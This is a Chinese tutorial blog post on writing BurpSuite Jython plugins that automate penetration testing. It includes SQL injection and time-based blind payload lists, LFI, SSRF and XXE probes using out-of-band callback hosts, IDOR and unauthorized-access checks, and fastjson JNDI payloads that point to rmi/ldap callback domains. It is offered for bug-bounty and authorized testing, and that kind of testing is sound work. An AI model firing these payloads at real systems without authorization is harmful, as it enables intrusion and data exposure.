前言

渗透测试自动化是白帽子和各家公司一直在解决的一个课题,BurpSuit是渗透测试中必不可少的渗透神器,基于BurpSuit插件二次开发,完善丰富其功能,联动各类其他工具达到渗透测试自动化能够有效减少人工的参与和大大提高漏洞检出率。本文将分为6个章节详细介绍如何基于BurpSuit 插件开发打造自动化渗透测试之路。
1、架构设置与目录
第一章:proxy二次转发
第二章:SQL注入与XSS
第三章:任意文件读取LFI、SSRF、目录扫描DIrScan、任意url跳转、命令注入
第四章:逻辑漏洞平行越权、未授权访问、敏感信息泄露
第五章:联动其他各类扫描器AWVS、APPSCAN、XRAY
第六章:应急响应样例之编写特定的漏洞扫描样例

环境准备

BurpSuit  开启两个窗口  分别是8080端口和9090端口
Jpython 下载standalone版本https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.2/jython-standalone-2.7.2.jar,注意Burp的两个窗口中均要使用相同的Jython版本
扩展处导入
本地安装python2.7环境,package包地址
C:\Python27\Lib\site-packages,如果不同,记得在插件中更改地址
开发环境:pycharm
扫描方式:PassiveScan,Burp一共支持三种扫描方式,分别是重写processHttpMessage、PassiveScan和ActiveScan,综合比较PassiveScan效率较高,对CPU的占用较小及不会重复扫描数据包。
参考文档:

第一章:BurpSuit插件之proxy二次转发

一、目的
实现:
1、实现流量的二次转发到9090用于后续测试
2、过滤不在测试范围的目标
3、过滤各类静态资源如jss、css、jpg等
4、转发流量到xray和appscan
5、增加xxf等header头(可能绕防护设备)
6、保存所有url
二、架构图
 
 
3、实现原理

3.1、通过baseRequestResponse拆解数据包获取请求包和数据包信息

3.2、读取host.txt,判断当前数据包是否在测试范围内,host.txt放置在同目录下,里面写入要测试的一级域名信息如baidu.com taobao.com

3.3、增加各类xxf头,这里是采用dns解析出要测试的域名的ip加入,也可自定义其他字段或生成内网ip地址

3.4、定义blackdomain,内放置测试范围内的静态域名资源,如report.meituan.com实际上仅用于采集数据,无有效请求。

3.5、定义blackfile,内放置各类静态资源,定义不转发各类静态资源如jpg js css等。

3.6、转发流量至burp 9090 和xray和appscan

4、核心代码

def doPassiveScan(self, baseRequestResponse):
        Request = baseRequestResponse.getRequest()
        Response = baseRequestResponse.getResponse()
        analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(Request)
        ResHeaders, ResBodys, ResStatusCode, resLength = self.get_response_info(Response)
        httpService = baseRequestResponse.getHttpService()
        host, port, protocol, ishttps, = self.get_server_info(httpService)

        heaers = {
        }

        scan_target = []
        targetHost = []
        f = open('host.txt','rb')
        for line in f.readlines():
            targetHost.append(line.decode("utf-8").strip())

        host1 = ".".join(host.split('.')[1:])
        host2 = ".".join(host.split('.')[2:])
        #print targetHost
        blackdomain = [ 'img.meituan.net', 'img.meituan.net', 'p1.meituan.net', 'report.meituan.com']
        blackFile = ['js', 'css', 'jpg', 'png', 'gif', 'ico', 'woff2', 'timestamp', 'ttf', 'mp4', 'svg', 'woff']
        if (host.split('.')[-1].isdigit() or  (host1 in targetHost ) or (host2 in targetHost))and  host not in blackdomain:
            newReqUrl = self.get_request_url(protocol, reqHeaders,host,port)


            newHeaders = reqHeaders[2:]

            for header in newHeaders:

                heaers[header.split(':')[0]] = ":".join(header.split(':')[1:]).replace(" ","")
            ip = self.random_ip(host)
            #print heaers
            heaers['X-Forwarded-For'] = ip
            heaers['X-Real-IP'] = ip
            heaers['X-Forwarded-Host'] = ip
            heaers['X-Client-IP'] = ip
            heaers['X-remote-IP'] = ip
            heaers['X-remote-addr'] = ip
            heaers['True-Client-IP'] = ip
            heaers['Client-IP'] = ip
            heaers['Cf-Connecting-Ip'] = ip

            newHeaders2 = reqHeaders[2:]
            newHeaders = [str(i) for i in newHeaders2]


            tmpurl = newReqUrl.split('?')[0]
            #print tmpurl

            if str(tmpurl).endswith(tuple(blackFile)):
                pass
            else:
                print newReqUrl
                self.saveUrl(newReqUrl)

                bupscan=threading.Thread(target=self.burpscan,args=(reqMethod, newReqUrl, heaers, reqBodys))
                xrscan = threading.Thread(target=self.xray,args=(reqMethod, newReqUrl, heaers, ResBodys))
                appscan = threading.Thread(target=self.appscan,args=(reqMethod, newReqUrl, heaers, ResBodys))
                scan_target.append(bupscan)
                scan_target.append(xrscan)
                scan_target.append(appscan)

        for x in scan_target:
            x.start()
        for x in scan_target:
            x.join()

5、实现效果

4.1 启动xray
    ./xray_linux_amd64 webscan --listen 0.0.0.0:9093 --html-output=test.html
    4.2 启动appscan 监听端口为127.0.0.1 9093
写好自己的扫描器地址
加载到此处
运行
5、代码地址

第二章;BurpSuit插件之SQL注入与XSS

1、介绍
经过了前面一次的流量转发,我们成功过滤掉了静态资源文件和非测试范围目标,接下来的插件都是在9090 的burp 端口实现。
2、目的
    1、实现SQL注入的检测,包括报错型、布尔型和盲注型
    2、实现XSS的自动检测,包括反射型和存储型
3、实现原理:
    3.1 SQL注入
        3.1.1 通过添加各类paylaod使其报错,正则匹配抓取报错信息,判断是否存在注入
        3.1.2 通过对错相反来判断是否存在布尔型注入。
        3.1.3 通过时间函数判断是否存在盲注
          核心代码实现
          

#这个用来做paylaod执行  这个里面都是正确的,下面的都是错误的
        self.payloadRight = [
            'and 1=1',
            "and '1'='1",
            "or '1234'='1234",
            'or "x"="x',
            'and "x"="x',

        ]
        #这个都是错误的,和上面的一一对应,我要的就是一对一错
        self.payloadWrong = [
            'and 1=2',
            "and '1'='2",
            "or '1234'='1",
            'or "x"="y',
            'and "x"="y',

        ]
        #用于前面的闭合
        self.bihe=[
            '',
            "'",
            '"',
            "')",
            '")',
            ';',
            ');',
            "';",
            "'))",
            '"))'
        ]
        #这个用来注释
        self.zhushi=[
            '',
            '-- ',
            '--+',
            '#',
           # ';%00',
        ]

        self.errorFlag = re.compile(r'.*(SQL syntax.*?MySQL|Warning.*?\Wmysqli?_|MySQLSyntaxErrorException|valid MySQL result|check the manual that|MySqlClient\.|com\.mysql\.jdbc|Mysqli_Exception|MySqlException|Syntax error|PostgreSQL.*?ERROR|Npgsql\.|PG::SyntaxError:|PSQLException|Driver.*? SQL*Server|OLE DB.*? SQL Server|Warning.*?\W(mssql|sqlsrv)_|ODBC SQL Server Driver|SQLServer JDBC Driver|SQL(Srv|Server)Exception|Oracle error|SQL command|OracleException|SQL error|DB2Exception|Informix|IfxException|SQL Error|SQLite|JDBCDriver|sqlite3|SQLiteException|DriverSapDB|Sybase|SybSQLException|SQLSTATE|SQL syntax|mysql_error|syntax error|nvarchar|valid Mysql|Unknown column|ODBC SQL SERVER|An unhandled exception|sqlException|SQLException|OleDbException).*')

        self.blind=[
            #"SELECT pg_sleep(5)",
            "and sleep(5)",
            "xor sleep(5)",
            "or sleep(5)",
            "waitfor delay '0:0:5'",
            'if(now()=sysdate(),sleep(5),0)',
            'XOR(if(now()=sysdate(),sleep(5),0))',
            'OR 261=(SELECT 261 FROM PG_SLEEP(5))',
           # "(select(0)from(select(sleep(12)))v)/*'%2B(select(0)from(select(sleep(12)))v)%2B'\"%2B(select(0)from(select(sleep(12)))v)%2B\"*/",
           # '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()',#这是个模板注入,放在这里了
           # '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()',#
           # '$(sleep 5)',

        ]
        

3.2 xss检测
通过增加xss平台paylaod及典型paylaod执行后正则判断特征值是否在返回包中,来检测是否存在xss
在类中定义自己的xsspayload字典和特征值
3.3  检测机制:
首先分析请求数据包和返回数据包获取各类信息,然后获取数据包中的参数信息(不检测cookie里面的参数)逐一检测。
报错型sql注入根据返回包正则匹配信息,正则判断在78行
布尔型根据对错和原始数据包状态码及数据包长度来判断,判断条件为
if resLength2>0 and ((flag1 and flag2 and flag3 and ResStatusCode=='200') or (len1<0.01<len2<0.1)) 
即错误语句的状态码!=原始语句状态码==正确语句状态码,或正确语句的返回页面长度和原始页面长度误差在百分之一内且错误语句和原始页面长度误差在百分之一到百分之十(这个可以根据测试情况动态调整)
记得有一个blackstatus列表里面存放waf的状态码如999,用于排除误报。
盲注是通过一个随机时间5-10来判定,为减少误报又多加了一层判断,
 if abs(sleepTime-randomTime)<2<randomTime < sleepTime:
                        startTime2 = time.time()
                        newResponse2 = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest)
                        endtime2 = time.time()
                        sleepTime2 = endtime2 - startTime2
                        if abs(sleepTime2 - sleepTime)<2< randomTime < sleepTime2:
4、效果实现
结果写入文件
误报说明:
如下:当一个数据包有参数存在盲注sleep执行成功,会导致同时刻测试的其他的数据包也会延迟,也会有盲注成功的假象,目前还没有好的方法解决
XSS检测,同样写入文件

第三章:BurpSuit插件之LFI SSRF等

一、实现功能:
1、任意文件读取
2、目录扫描
3、SSRF
4、XXE
5、命令注入
二、实现原理:
2.1
任意文件读取命令注入和SSRF的部门paylaod和代码执行、SSI注入、模板注入放在一个列表里面,通过对每个参数的测试发现问题。
部分payload展示
核心代码

 def lfiTest(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
        for paraNewValue in self.fuzzLFI.dir:
            paraNewValue= urllib2.quote(paraNewValue)
            newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType)
            newRequest = self._helpers.updateParameter(request, newParameter)
            #print(newRequest)
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest)
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
                newRequest)


            newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)

            errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)

            if errorInject:

                newReqUrl = self.get_request_url(protocol, newReqHeaders,host,port)
                content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[LFI GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys)
                print (content)
                self.save(content+'\t\n')
                print ('-' * 50)
                break

2.2目录扫描
目录扫描字典单独一个列表,实现方式为:
首先分析url,获取其404页面的状态码和返回数据包大小,再进行扫描根据扫描状态码判断是否为敏感目录,这里的状态码判断抄的李姐姐的bbscan,扫描页面的大小和404页面的大小要大于50,这点可以动态调整
 

 def lfiDir(self, request, protocol, host, port, ishttps, url,html404_status, html404_content):
        for paraNewValue in self.fuzzLFI.dir2:
            newRequest = self._helpers.buildHttpRequest(URL(url+paraNewValue))
            #print(url+paraNewValue)
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest)
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
                newRequest)

            newResHeaders, newResBodys, newResStatusCode, resLength = self.get_response_info(
                newResponse)

            errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)

            if errorInject  or (newResStatusCode == 206) or ((newResStatusCode == 200 or newResStatusCode == 302 or newResStatusCode == 301) and abs(resLength - len(html404_content))>50):
                newReqUrl = self.get_request_url(protocol, newReqHeaders,host,port)
                content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[DIR GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys)
                print(content)
                self.save(content + '\t\n')
                print('-' * 50)
                break

2.3
xxe和ssrf的http协议使用ceye.io 和dnslog.io,然后调用api接口查询是否有响应dnslog记录
SSRF代码示例,这里把url跳转也放在ssrf判断里面了

def ssrfHttp(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType,ResStatusCode):
        paraNewValue = 'http://'+host+'.m4mta5.ceye.io/'+host+parameterName+"testssrf1234567890"
        newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType)
        newRequest = self._helpers.updateParameter(request, newParameter)
            #print(newRequest)
        newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest)
        newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
                newRequest)


        newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)

        pattern = re.compile(host + parameterName + "testssrf1234567890" )
        response = self.ceyeFin()
        result = pattern.findall(response)
        if result:
            newReqUrl = self.get_request_url(protocol, newReqHeaders,host,port,port)
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[SSRF GET]',newReqUrl, newReqHeaders, newReqBodys)
            print (content)
            self.save(content + '\t\n')
            print ('-' * 50)


        if (paraNewValue in "".join(newResHeaders) and newResStatusCode!=ResStatusCode):
            newReqUrl = self.get_request_url(protocol, newReqHeaders,host,port)
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[URL GET]', newReqUrl, newReqHeaders,
                                                                           newReqBodys)
            print (content)
            self.save(content + '\t\n')
            print ('-' * 50)

 
4、展示效果
SSRFfile协议,DIrscan
任意文件读取和php代码执行
ssrf http协议

第四章:BurpSuit插件之逻辑越权

一、实现功能
平行(垂直)越权
未授权访问
敏感信息泄露
说明:该脚本不适宜官网或登录主页,比较适宜后台管理或运营平台等系统
二、实现原理
2.1 平行(垂直)越权
所有的越权均是由于对用户的身份校验不严格导致,所以可以登录两个账户A和B,抓取A的cookie或token填入脚本中,然后登录B测试所有功能,如果A和B两个用户返回的数据包长度相等,例如A访问一个页面和使用B的cookie访问同一页面的页面长度相等,则有可能存在越权
核心代码实现:
去除身份标识字段如cookie信息,然后手工加一个cookie字段
核心代码实现


    def parallelTest(self,reqMethod,newReqUrl,heaers,ResBodys,resLength):

        try:
            if reqMethod == "GET":
                response = requests.get( newReqUrl, headers=heaers,
                                            verify=False, allow_redirects=True, timeout=5)

            else:

                response = requests.request(reqMethod,newReqUrl, headers=heaers,  data=ResBodys,
                                     verify=False, allow_redirects=True, timeout=5)
            responseContent = response.content
        except Exception as e:
            print e
            responseContent = ""
            pass

        if len(responseContent)==resLength:
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[MayBe Parallel Find]', newReqUrl, heaers,
                                                                           ResBodys)
            print content
          self.save(content)

2.2、未授权访问
类似平行越权,只是去除cookie类字段后,不添加任何身份标识字段,借以达到未授权测试的目的
2.3、敏感信息泄露
两个思路:
第一:用当前的登录用户的手机号、用户id号等做正则匹配,匹配返回数据包或提交的body里面是否含有此类字样,如有,则有可能通过遍历获取其他用户信息,或者返回包包含有敏感信息,查看html,一般会有form表单类样,也可以尝试越权
第二:正则匹配手机号等,查看一些接口的返回数据包是否有敏感信息
核心代码实现:

 if (1==1):
            newReqUrl = self.get_request_url(protocol, reqHeaders,host,port)
            blackFile = ['.js','.css','.jpg','.png','.gif','v=1.0','.ico','woff2','timestamp','.ttf','.jpeg','woff','img']
            #print newReqUrl
            newHeaders = reqHeaders[2:]

            for header in newHeaders:
                if ('Authorization' not in header)  and ('token' not in header) and  ('Cookie' not  in header):
                    heaers[header.split(':')[0]] = "".join(header.split(':')[1:]).replace(" ","")
            heaedersParaller = heaers.copy()

          heaedersParaller['Cookie'] = 'Hm'
            if str(newReqUrl).endswith(tuple(blackFile)) or ('js?'in newReqUrl) or ('image' in newReqUrl):
                pass
            else:
                self.unauthority(reqMethod, newReqUrl, heaers, reqBodys,resLength)
                self.parallelTest(reqMethod, newReqUrl, heaedersParaller, reqBodys,resLength)
                #link = reqHeaders[0].split(' ')[1]
              self.sensitiveInfo(newReqUrl,reqHeaders,reqBodys,ResBodys)

三、代码地址

第五章:BurpSuit插件之联动AWVS

目的:
把经过Burp的所有的数据包流量,都可以发送一份给awvs,awvs实现两个功能:
1、主动扫描,可以选择全量或只扫描高危
2、爬虫,把流量送给本地的xray,本地开启xray,端口监听9093
实现原理:
1、实现awvs api接口调用
awvs接口文档可参考
接口文档
2、awvs接口调用过程
首先添加任务
def addtask(self,tarUrl):
        # 添加任务
        data = {"address": tarUrl, "description": "", "criticality": "10"}
        try:
            response = requests.post(self.awvsurl + "api/v1/targets", data=json.dumps(data), headers=self.awvsheaders, timeout=30,
                                     verify=False)
            result = json.loads(response.content)
            return result['target_id']
        except Exception as e:
            print(str(e))
            return
            pass
然后配置扫描信息,这样就把数据包的header信息,包括cookie等全部给了awvs
注意看"custom_headers":reqHeaders,这个参数就包含我们的数据包所有的header信息
 def updateConfig(self,tarUrl,reqHeaders):
        target_id = self.addtask(tarUrl)
        url_update = self.awvsurl + "api/v1/targets/{0}/configuration".format(target_id)
        data = {
            "issue_tracker_id":"",
            "technologies":[],
            "custom_headers":reqHeaders,
            "custom_cookies":[],
            "debug":"false",
            "excluded_hours_id":""}
        try:
            response = requests.patch(url_update, data=json.dumps(data), headers=self.awvsheaders, timeout=30, verify=False
                                )
            return target_id
        except Exception as e:
            print e
            pass
 xray的扫描配置,多了一个proxy,这里的proxy设置为自己的xray扫描器地址
 def updateConfigxray(self,tarUrl,reqHeaders):#这个只做扫描,流量给xray
        target_id = self.addtask(tarUrl)
        url_update = self.awvsurl + "api/v1/targets/{0}/configuration".format(target_id)
        data = {
            "issue_tracker_id":"",
            "technologies":[],
            "custom_headers":reqHeaders,
            "proxy": {"enabled": "true", "protocol": "http", "address": "127.0.0.1", "port": 9093},
            "custom_cookies":[],
            "debug":"false",
            "excluded_hours_id":""}
        try:
            response = requests.patch(url_update, data=json.dumps(data), headers=self.awvsheaders, timeout=30, verify=False
                                )
            return target_id
        except Exception as e:
            print e
            pass
3、开启扫描
配置"profile_id": "11111111-1111-1111-1111-111111111112",只扫描高危
"profile_id": "11111111-1111-1111-1111-111111111111",全量扫描
"profile_id": "11111111-1111-1111-1111-111111111117", 爬虫,xray的扫描记得要配置此项

 def startscan(self,tarUrl,reqHeaders):
        # 先获取全部的任务.避免重复
        # 添加任务获取target_id
        # 开始扫描
        target_id = self.updateConfig(tarUrl,reqHeaders)

        if target_id:
            data = {"target_id": target_id, "profile_id": "11111111-1111-1111-1111-111111111112",
                "schedule": {"disable": False, "start_date": None, "time_sensitive": False}}
            try:
                response = requests.post(self.awvsurl + "api/v1/scans", data=json.dumps(data), headers=self.awvsheaders, timeout=30,
                                         verify=False)


            except Exception as e:
                print(str(e))
                pass
                return

4、展示效果
这里配置你的awvs url和apikey
这样的话,每个url都有两个扫描,一个主动扫描,一个做爬虫,把所有的流量导入xray
包含完整的用户身份信息的header头都在里面,可以实现登录后自动化扫描
5、代码地址

第六章:BurpSuit之应急响应或特定漏洞扫描案例

目的:
用于在突发0day的时候或想要扫描特定的漏洞的时候,可以编写burp插件用于特定漏洞的探测发现
例如,我们想要检测fastjson漏洞,首先定义一个fastjson的payload列表

self.fastjson = [
            '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://fastjson1.m4mta5.ceye.io","autoCommit":true}}',
            '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://fastjson2.m4mta5.ceye.io/Object","autoCommit":true}',
            '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fastjson3.m4mta5.ceye.io","autoCommit":true}}}',
            '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://fastjson1.dongfangyuxiao.l.dnslog.io","autoCommit":true}}',
            '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://fastjson2.dongfangyuxiao.l.dnslog.io/Object","autoCommit":true}',
            '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fastjson3.dongfangyuxiao.l.dnslog.io","autoCommit":true}}}'

        ]

 
我们写一个fastjson的漏洞检测类

  def fastjson(self, url, heaers, host):

        for payload in self.fuzzLFI.fastjson:
            try:
                fastjson1 = requests.post(url, headers=heaers, timeout=5, data=payload, verify=False)
            except Exception as e:

                pass
            pattern = re.compile('fastjson')
            response = self.ceyeFin()
            result = pattern.findall(response)
            #print response
            #print result
            if result:

                content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[fastjson Body GET]', url, heaers,
                                                                               payload)
                print (content)
                self.save(content + '\t\n')
              print ('-' * 50)

使用vulhub搭建一个漏洞环境
写个测试脚本

#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import re
proxies = {
    "http":"http://127.0.0.1:8080"
}
def test():
    headers = {
        "Content-Type":"application/json",
        "Accept": "*/*",
        "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
    }
    url = "http://121.196.181.55:8090/"
    try:
        res = requests.get(url,headers=headers,timeout=15,proxies=proxies)
        print(res.content)

    except Exception as e:
        print(e)

if __name__ == "__main__":
  test()

dnslog平台收到dnslog信息,就能判断是fastjson3那条paylaod触发了
dnslog.io也收到告警
代码地址:

结语

其实插件已经写了好久了,也已经更新了好几个版本了,最初的灵感来源于农夫的十八(公众号悦信安),今年元旦后开始正式用于挖SRC,也挖了好几家还不错的排名,所以想着把自己学习的知识分享给大家。原本计划打算是合成一个py脚本,后来因为时间原因也没能完成,目前在做一个甲方的自动化的渗透测试巡检平台,已经完成了脚本型的开发,图形化展示预估计今年年底可以面世,感兴趣的同学可以私聊我一起参与。
过程笔记可以参考
https://github.com/dongfangyuxiao/BurpExtend/tree/master/Burp插件学习笔记

本文作者:东方欲晓的晓东